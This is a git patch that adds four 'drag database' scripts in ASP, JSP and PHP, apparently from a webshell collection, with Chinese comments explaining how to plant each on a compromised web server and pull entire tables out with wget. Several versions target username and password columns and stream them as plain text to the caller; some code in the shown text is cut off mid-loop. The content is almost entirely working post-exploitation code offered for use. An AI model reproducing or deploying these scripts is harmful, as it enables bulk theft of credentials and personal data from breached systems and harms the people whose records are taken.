From c04d23632496c426e750c60726bc2b0cf1696388 Mon Sep 17 00:00:00 2001 From: tennc Date: Thu, 29 May 2014 08:22:20 +0800 Subject: [PATCH] drag database with wget download --- drag/asp wget drag database.asp.txt | 43 ++++++++++++ drag/jsp wget drag database.jsp.txt | 85 ++++++++++++++++++++++++ drag/php wget drag database.php 2.txt | 96 +++++++++++++++++++++++++++ drag/php wget drag database.php.txt | 63 ++++++++++++++++++ 4 files changed, 287 insertions(+) create mode 100644 drag/asp wget drag database.asp.txt create mode 100644 drag/jsp wget drag database.jsp.txt create mode 100644 drag/php wget drag database.php 2.txt create mode 100644 drag/php wget drag database.php.txt diff --git a/drag/asp wget drag database.asp.txt b/drag/asp wget drag database.asp.txt new file mode 100644 index 0000000..71cd60a --- /dev/null +++ b/drag/asp wget drag database.asp.txt @@ -0,0 +1,43 @@ +<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001" %>'这里改编码方式 +<% +'用法:如果把本程序放在[url]http://www.xxx.com/sql.asp[/url],可以wget [url]http://www.xxx.com/sql.asp[/url] -O x.csv 来直接拖库 +        Response.Buffer = True +        Server.ScriptTimeout = 2147483647 +  +        str="Driver={Sql Server};Server=192.168.1.5;Uid=mssql库名;Pwd=mssql密码;Database=库名" 这里是连接字符串 +        Set Conn=Server.CreateObject("Adodb.connection") +        Conn.Open str +  +        Set Rs = Server.Createobject("Adodb.Recordset")  +  +        Sqlstr="SELECT  * FROM 库名.dbo.[表名]"  '这里是导哪个库哪个表的语句 +        Rs.Open Sqlstr,Conn,3,3  +  +        If(Rs.Fields.Count > 0)Then +                For I = 0 To Rs.Fields.Count - 1 +                        Response.Write Rs.Fields(i).Name & "        " +                Next +                Response.Write(vbNewLine) +  +                For I = 1 To Rs.RecordCount +                                          +                        If(I Mod 100 = 0)Then +                                Response.Flush +                        End If +  +                        For J = 0 To Rs.Fields.Count - 1 +                                Response.Write Rs(J) & "        " +                        Next +  +                        Response.Write(vbNewLine) +                          +                        Rs.MoveNext +                Next +        End If +  +        Rs.Close  +        Conn.Close +        If(Err <> 0)Then Response.Write(Err.Description) +        Set Rs = Nothing  +        Set Conn = Nothing  +%> \ No newline at end of file diff --git a/drag/jsp wget drag database.jsp.txt b/drag/jsp wget drag database.jsp.txt new file mode 100644 index 0000000..581876f --- /dev/null +++ b/drag/jsp wget drag database.jsp.txt @@ -0,0 +1,85 @@ +<%@ page contentType="text/html; charset=utf-8" %> +<%@ page language="java" %> +<%@ page import="java.sql.*" %> + +<% +//author: By Gavin +//Usage: wget "http://xxx.com/wget_db.jsp?sn=0&en=5000000&ln=50000" -O gavin.sql + +out.clear(); +//分段每次limit查询出来的条数,根据实际情况调整,默认为2w +int MAX_LIMIT_NUM = 20000; +//最大缓存条数,防止占用过多内存,根据每条数据大小调整 +int MAX_CACHE_NUM = 5000; + +//驱动程序名 +String driverName="com.mysql.jdbc.Driver"; +// 数据库地址 +String dbAddress = "127.0.0.1:3306"; +//数据库用户名 +String userName="root"; +//密码 +String userPasswd="root"; +//数据库名 +String dbName="DBName"; +// 查询字段 +String columns[] = "username,password".split(","); +//表名 +String tableName="table_name"; + +// 接受参数 +int startNum = Integer.valueOf(request.getParameter("sn")); //接收起始条数 +int endNum = Integer.valueOf(request.getParameter("en")); //接收结束条数 +String ln = request.getParameter("ln"); +if (ln != null && ln != "") MAX_LIMIT_NUM = Integer.valueOf(ln); //接收每次分段查询的条数 + int gavin_downNum = endNum - startNum; //计算总下载条数 + +if (endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum; +int multiple = gavin_downNum/MAX_LIMIT_NUM; +int complement = gavin_downNum%MAX_LIMIT_NUM; + +// 连接数据库 +String url="jdbc:mysql://"+dbAddress+"/"+dbName+"?user="+userName+"&password="+userPasswd; + Class.forName(driverName).newInstance(); +Connection connection=DriverManager.getConnection(url); +Statement statement = connection.createStatement(); + +// 拼装前半部分sql +String sql = "SELECT "; +for(int i=0;i"); + } + } + if (num >= MAX_CACHE_NUM) { + out.flush(); + num = 0; + } + } + rs.close(); +} +statement.close(); +connection.close(); +%> \ No newline at end of file diff --git a/drag/php wget drag database.php 2.txt b/drag/php wget drag database.php 2.txt new file mode 100644 index 0000000..b48c02e --- /dev/null +++ b/drag/php wget drag database.php 2.txt @@ -0,0 +1,96 @@ + 'SET NAMES '.DB_CHAR, + ); + try{ + $dbh = new PDO($dsn,DB_USER,DB_PASS,$options); + }catch (PDOException $e) { + die('PDO ERROR!'); + } + $sql='SELECT COUNT(-1) FROM `'.$table.'`;'; + $do=$dbh->query($sql); + if($do){ + $count=$do->fetch(); + }else{ + die('PDO COUNT ERROR'); + } + $limit_end=($limit_end)?$limit_end:$count[0]; + $limit_end=$limit_end-$limit_start; + $limit_length=$limit_end>$limit_length?$limit_length:$limit_end; + $section=ceil($limit_end/$limit_length); + if (ob_get_level() == 0){ + ob_start(); + }else{ + die('PDO ERROR'); + } + for($i=0;$i<$section;$i++){ + $sql='SELECT '.$filed.' FROM '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';'; + $s=$dbh->query($sql); + $arr=$s->fetchALL(PDO::FETCH_ASSOC); + foreach ($arr as $value) { + echo(implode(' ', $value)."\n"); + } + ob_end_flush(); + } + + }else{ + $link=mysql_connect(DB_HOST.':'.DB_PASS,DB_USER,DB_PASS); + if($link){ + mysql_select_db(DB_NAME,$link); + mysql_query('SET NAMES '.DB_CHAR); + $sql='SELECT COUNT(-1) FROM `'.$table.'`;'; + $count=mysql_fetch_array(mysql_query($sql)); + $limit_end=($limit_end)?$limit_end:$count[0]; + $limit_end=$limit_end-$limit_start; + $limit_length=$limit_end>$limit_length?$limit_length:$limit_end; + $section=ceil($limit_end/$limit_length); + if (ob_get_level() == 0){ + ob_start(); + }else{ + die('MYSQL ERROR'); + } + for($i=0;$i<$section;$i++){ + $sql='SELECT '.$filed.' FROM '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';'; + $a=mysql_query($sql); + if($b=mysql_fetch_row($a)){ + do{ + echo(implode(' ', $b)."\n"); + }while($b=mysql_fetch_row($a)); + } + ob_end_flush(); + } + }else{ + die('MYSQL ERROR!'); + } + + } + + + ?> \ No newline at end of file diff --git a/drag/php wget drag database.php.txt b/drag/php wget drag database.php.txt new file mode 100644 index 0000000..499a0c1 --- /dev/null +++ b/drag/php wget drag database.php.txt @@ -0,0 +1,63 @@ +"; + exit(); + } +if (@mysql_select_db($DB_Name,$conn)==FALSE) { + echo "打开数据库:".$DB_Name." 失败!"; + exit(); + } + +mysql_query("set names 'utf8'"); +$num = 1; +$out_put_str = ''; +if (ob_get_level() == 0) ob_start(); + +for ($i=0;$i<$beishu;$i++){ + $new_start_num = $i*$max_limit_num+$gavin_start_num; + if ($i == ($beishu-1)) $max_limit_num += $yushu; + $sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //配置SQL语句 + $res = mysql_query($sql) or die(mysql_error()); + while($result = mysql_fetch_array($res)) + { + $num ++; + $out_put_str = $result["username"]."-->".$result["password"]."\n"; //格式化脱出的数据,根据SQL中的字段调整 + if ($num >= $max_cache_num){ + @ob_end_flush(); + $num = 0; + } + echo $out_put_str; + // unset($out_put_str); + } +} +?> \ No newline at end of file